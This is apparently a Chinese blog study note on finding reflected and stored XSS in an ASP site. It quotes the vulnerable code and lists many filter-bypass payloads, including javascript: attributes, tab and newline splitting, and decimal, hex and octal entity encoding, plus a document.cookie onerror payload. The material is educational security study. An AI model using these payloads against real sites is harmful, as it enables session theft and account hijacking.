学习笔记XSS跨站脚本挖掘

(一)发掘反射型XSS

数据交互(即输入/输出)的地方最容易产生跨站脚本,因此我们可以着重对网站的输入框,URL参数进行测试。当然所有来自Cookies,POST表单,HTTP头的内容都可能会产生XSS问题。
通过站内查找功能,在搜索框中输入跨站测试代码XSS’"。
输入的XSS代码中的没有显示出来,这种情况下,测试代码可能被程序过滤,也可能程序接收了但没有显示出来,因为在HTML语言中<>表示HTML标记,不会被浏览器直接显示出来,只有通过查看相应的源文件才能看到。所以我们此时需要看网页源文件,然后搜索XSS关键字。
我们可以看到,输入的内容确实被完整的写入了页面,因此可以证明这个系统没有过滤<>字符。可以输入一个完整
分析这个XSS漏洞产生的原因,找到相关代码文件:seache.asp

<%
Set Page = New TurnPage
keyword=CmdSafeLikeSqlStr(Request.QueryString("keyword"))
sType = Request.QueryString("sType")
If keyword="" Then
	Call MessageBox("请输入需要查询的关键词。","")
End If
%>

上述代码中,keyword变了代表输入的查询内容,然后程序使用Request.querystring()直接获取该变量,随后只经过CmdSafeLikeSqlStr()函数的处理。CmdSafeLikeSqlStr()在文件中有定义,找到该文件可以了解它的作用:

strer=replace(strer,"'",""")  
  strer=replace(strer,"[","[[]")
  strer=replace(strer,"%","[%]")
  strer=replace(strer,"_","[_]")
OutStr = strer
End Function

以上代码的功能是把查询变量中含有的’[%之类的字符替换成"[[][%][]。但这里忽略了对<>等关键字的过滤,导致用户可任意注入HTML标记来引发XSS。

(二)发掘持久型XSS

通过分析源程序代码,对漏洞成因有了更好的了解,但在发掘XSS方便面,黑盒测试的效果显然比白盒测试效果更好,而结合利用这两种方式的灰盒测试,能大大提高我们发掘XSS的效率。
对这套系统继续测试是否存在其他的跨站漏洞,对留言功能测试是否存在XSS跨站漏洞,其他内容任意输入,在留言内容输入测试代码,如果程序没有对留言功能进行过滤,很可能会产生一个持久型XSS漏洞。
测试代码:<script>alert(/test/)</script>
登陆后台,进行留言查看,发现没有触发输入的XSS代码,查看留言页面源文件。

<textarea name="Content" cols="35" rows="6" 
id="Content"> <script>alert(/xss/)</script></textarea>

输入的XSS代码没有被过滤,而且已经成功插入到网页内容中,之所以没有执行代码,是因为XSS代码被嵌套入到标签中,然后直接被浏览器显示出来。
因此,在构造XSS代码时,需要闭合标签,重新修改XSS代码:

</textarea><script>alert(/xss/)</script>

这样管理员在查看留言时,触发了代码,这种XSS场景可利用空间较大。
漏洞产生原因分析:
'接收表单

  Private Sub GetFormData()
		pID = Cdbl(Request.Form("pID"))
		If pID="" Then pID = 0
        Title = Trim(Request.Form("Title"))
        UserName = Trim(Request.Form("UserName"))
        Mail = Trim(Request.Form("Mail"))
        Homepage = Trim(Request.Form("Homepage"))
        Content = Trim(Request.Form("Content"))
        QQ = Trim(Request.Form("QQ"))
        TypeID = Trim(Request.Form("TypeID"))
		If TypeID="" Then TypeID=1
		TableID = Trim(Request.Form("TableID"))
		If TableID="" Then TableID=0
        AddTime = Now()
        Ip = Request.ServerVariables("REMOTE_ADDR")
		IsPass = 0
    End Sub

上述代码仅用了Request.Form()函数来获取表单数据,包括用户名,邮箱,主页地址,QQ号码,留言内容等信息,使用Trim函数来去除两边空格,直接把留言信息写入数据库中,没有过滤任何有害字符,导致产生一个持久型XSS漏洞。

XSS跨站脚本过滤器

(一)XSS Filter过滤器简介

通常情况下,为了防御跨站脚本攻击,会在WEB应用中设计一个XSS Filter,即跨站脚本过滤器,用于分析用户提交的输入,并过滤可能存在的脚本攻击及恶意的THML或简单的HTML格式错误等。
XSS Filter一般是基于黑白名单的安全过滤策略,即把要处理的数据分成白名单和黑名单两大列表,白名单存放可以信赖,对应用程序不构成威胁的数据列表。黑名单相反,假定某个应用程序使用了基于黑名单形式的过滤策略,那么当用户提交信息时,该系统的XSS Filter会对所有的输入进行检测,如检测到黑名单中的数据便进行拦截,对其进行编码和消除过滤处理。XSS Filter实际上是一段精心编写的过滤函数,下面是一段过滤代码:

function dhtmlspecialchars($string){
	if(in_array($string)){
		foreach($string as $key =>$val){
		}
	}else{
		$string=preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4})|[a-zA-Z][a-z0-9]{2,5});)/','&\\1',
		str_replace(array('&','"','<','>'),array('&','"','<','>'),$string));
	}
	return $string;
}

function dhtmlspecialchars1($string, $flags = null) {
	if(is_array($string)) {
		foreach($string as $key => $val) {
			$string[$key] = dhtmlspecialchars($val, $flags);
		}
	} else {
		if($flags === null) {
			$string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string);
			if(strpos($string, '&#') !== false) {
				$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
			}
		} else {
			if(PHP_VERSION < '5.4.0') {
				$string = htmlspecialchars($string, $flags);
			} else {
				if(strtolower(CHARSET) == 'utf-8') {
					$charset = 'UTF-8';
				} else {
					$charset = 'ISO-8859-1';
				}
				$string = htmlspecialchars($string, $flags, $charset);
			}
		}
	}
	return $string;
}

这段代码的作用是过滤XSS跨站代码,只要程序在处理输入变量的时候使用该函数,就足以过滤常见的跨站脚本。
尽管这段代码设计的很完整详尽,但依然存在被绕过的可能性,因为在实际环境中,要完全确保系统免受XSS攻击是很困难的,开发者必须要考虑各种触发XSS的情况,因此实现起来相当复杂。
下面展示一些绕过XSS Filter的测试用例,透过这些示例相信能更加了解XSS跨站脚本攻击的方法。

(二)利用<>标记注射

利用<>标记注射HTML/JavaScript或vbscript编写的恶意脚本代码。
如:

<script>alert('xss')</script>
因此XSS Filter首先要进行过滤和转义"<>""<script>"等字符。

(三)利用HTML标签

假设用户不能构造自己的HTML标记,但是他们可以使用其他形式来执行XSS,例如HTML标签属性值。
很多HTML标签中的属性都支持JavaScript;[code]伪协议的形式,这个特殊的协议类型声明了URL的主体是任意的JavaScript代码,由JavaScript的解释器运行。
所以用户可以利用部分HTML标记的属性值进行XSS,如下代码:

如果浏览器中运行上述代码没有弹出对话框,因为不是所有的WEB浏览器都支持JavaScript的伪协议,所以此类XSS攻击具有一定的局限性。并不是所有的标记属性值都能产生XSS,通常只有引用文件的属性才能发出跨站脚本。
href=
lowsrc=
bgsound=
background=
value=
action=
dynsrc=
<a href="javascript:alert('xss')">xss</a>
<img lowsrc="javascript:alert('xss')">

要防御基于属性值的XSS,就要过滤JavaScript等关键字,并非所有嵌入WEB页面中的脚本都是JavaScript,还有其他的允许值,比如VBscript。

(四)空格回车TAB

如果XSS Filter 仅仅把敏感的输入字符列入黑名单处理,如对敏感字符JavaScript而言,用户可以利用空格,回车和TAB键绕过限制。
例如:<img src="javas cript:alert(/xss/)" width=100>
javas和cript之间的间隔不是空格键,而是用TAB键添加的,用IE6打开,会顺利弹窗。
使用关键字拆分的技巧,用户就能突破过滤器的限制,这种方法不局限在TAB键,还可以使用回车键,空格之类的其他键。
JavaScript语句通常以分号结尾,如果JavaScript引擎确定一个语句是完整的,而这一行的结尾有换位符,那么就可以省略分号。
var a=test
var b=“xss”
如果同一行中有多个语句,那么每个语句就必须用分号结束。
var a=test;var b=“xss”;
除了在引号中分割单词或强制结束语句之外,额外的空白无论以何种方式添加都无所谓。下面代码中虽然语句有一个换行符,但变量的赋值完全成功。
var a=‘hello world’;
alert(a);
引擎没有把换行符解释为语句的终止符,因为到换行处并不是一个完整的语句,JavaScript会继续处理发现的内容,直到遇到一个分号或发现语句完整为止。
因此,用户可以构造成其他的代码形式绕过系统对JavaScript等关键字的过滤。

<img src="javas
Cript:
alert(/xss/)" width=100>

使用以回车符分割关键字的技巧,成功执行了跨站脚本代码。

(五)对标签属性值转码

对普通的HTML标记的属性值进行过滤,用户还可以通过编码的形式来绕过,因为HTML中属性值本身支持ASCII码形式。
ASCII码即美国信息交互标准代码,是目前计算机最通用的编码标准。因为计算机只能接受数字信息,ASCII码将字符作为数字来表示,以便计算机能够接受和处理,比如大写字母A的ASCII码的十进制是65。
根据HTML的属性值支持ASCII码的特征,把XSS代码:

<img src="javascript:alert('xss');">

替换为:

<img src="javascript&#58alert(/xss/);">

把:号转换为十进制ASCII编码来执行,也可以成功实现弹窗。

XSS跨站脚本编码转换

(一)XSS进制转换介绍

网站为了避免XSS的攻击,对用户的输入都采取了过滤,最常见的就是对<>转换成<以及>,经过转换以后<>虽然可在正确显示在页面上,但是已经不能构成代码语句了。这个貌似很彻底,因为一旦<>被转换掉,就会转换成“<script src=1.js></script>”,不能执行,因此,很多人认为只要用户的输入没有构成<>,就不能闭合前后的标签,其语句当然也不会有害,但是,万事总有可能,只要有一定的条件,我们就可以构造经过编码后的语句来进行XSS。

(二)常见被转义的XSS字符

”空格“转义之后的字符:” “
“"”转义之后的字符:”"“
“&”转义之后的字符:“&”
“<”转义之后的字符:”<“
“>”转义之后的字符:“>”
在实际环境中,XSS代码被转义了,使用什么方式进行绕过,可以使用进制转换的形式对一些过滤XSS控制不严格的地方进行绕过。
一个正常的XSS输入:

<img src="javascript:alert(1);">

转换大小写:

<iMg sRc="jaVasCipt:alert(1);">

不用双引号,而是使用单引号的XSS:

<img src='javascript:alert(1);'>

不使用引号的XSS:

<img src=javascript:alert(1)>

抛开正常的XSS测试用例,运用以上的任何一种示例都有可能绕过XSS Filter。

(三)ASCII 10进制转换

javascript:alert(“Hello world!”)可以用HTML 10进制ASCII编码代替:
格式:&#(ASCII10进制编码);

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert("Hello world!")

img标签变为:

<img src='&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert("Hello world!")' />

ASCII 10进制转换,同样适合于HTML标签注入:
例如:
<script>alert("Hello world");</script>标签转换成10进制 ASCII转义字符:

&#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#34&#72&#101&#108&#108&#111&#32&#119&#111&#114&#108&#100&#34&#41&#59&#60&#47&#115&#99&#114&#105&#112&#116&#62";

接下来,使用URL编码得到:

%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%65%6C%6C%6F%20%77%6F%72%6C%64%22%29%3B%3C%2F%73%63%72%69%70%74%3E

然后放入到参数中:

http://www.test.com/search.asp?keyword=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%48%65%6C%6C%6F%20%77%6F%72%6C%64%22%29%3B%3C%2F%73%63%72%69%70%74%3E&sType=Title&Submit=%CB%D1%CB%F7

可以构造成其他XSS形式来获取cookie信息。

<img src=x onerror=alert(document.cookie)>

(四)ASCII 16进制转换
格式: &#x(ASCII16进制编码);

<img src="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('b')">

与10进制ASCII转义一样,只不过换了一种进制规则来表示。
(五)ASCII 8进制转换
其实16进制还有一种表现形式,与8进制类似
格式:\x(ASCII 16进制编码)
格式:(ASCII 8进制编码)
例如:

<script>alert("Hello world!");</script>

转换为16进制是:

\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x22\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x21\x22\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E

八进制是去掉\后的x,数值转换为8进制数值即可。

\3C\73\63\72\69\70\74\3E\61\6C\65\72\74\28\22\48\65\6C\6C\6F\20\77\6F\72\6C\64\21\22\29\3B\3C\2F\73\63\72\69\70\74\3E

同样以构造URL参数,或者HTML属性的形式注入到HTML当中,即可产生XSS漏洞。

(六)加入混淆字符

这样做的目的还是为了绕开程序员代码的过滤, 其中加入一些混淆转义字符,在系统控制字符中,除了头部的&#00(null)和尾部的(del)外,其他31个字符均可作为混淆字符,比如、等字符都可插入到javascript或vbscript的头部,其中Tab符 、换行符、回车符还可以插入到代码中任意地方, 当然还包括字母的大小写混合。
例1:<img src="javascript:alert(/a/)"> '/插入到代码头部
例2:<img src="java scr ipt:alert(/a/)"> '/插入到代码中任意位置
例3:<IMG SRC="jav ascript:alert('XSS')"> '/ 是回车符的16进制形式
例4:<IMG SRC="jav ascript:alert('XSS')"> '/ 是换行符的16进制形式
免责声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。禁止任何人转载到其他站点,禁止用于任何非法用途。如有任何人凭此做何非法事情,均于笔者无关,特此声明。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值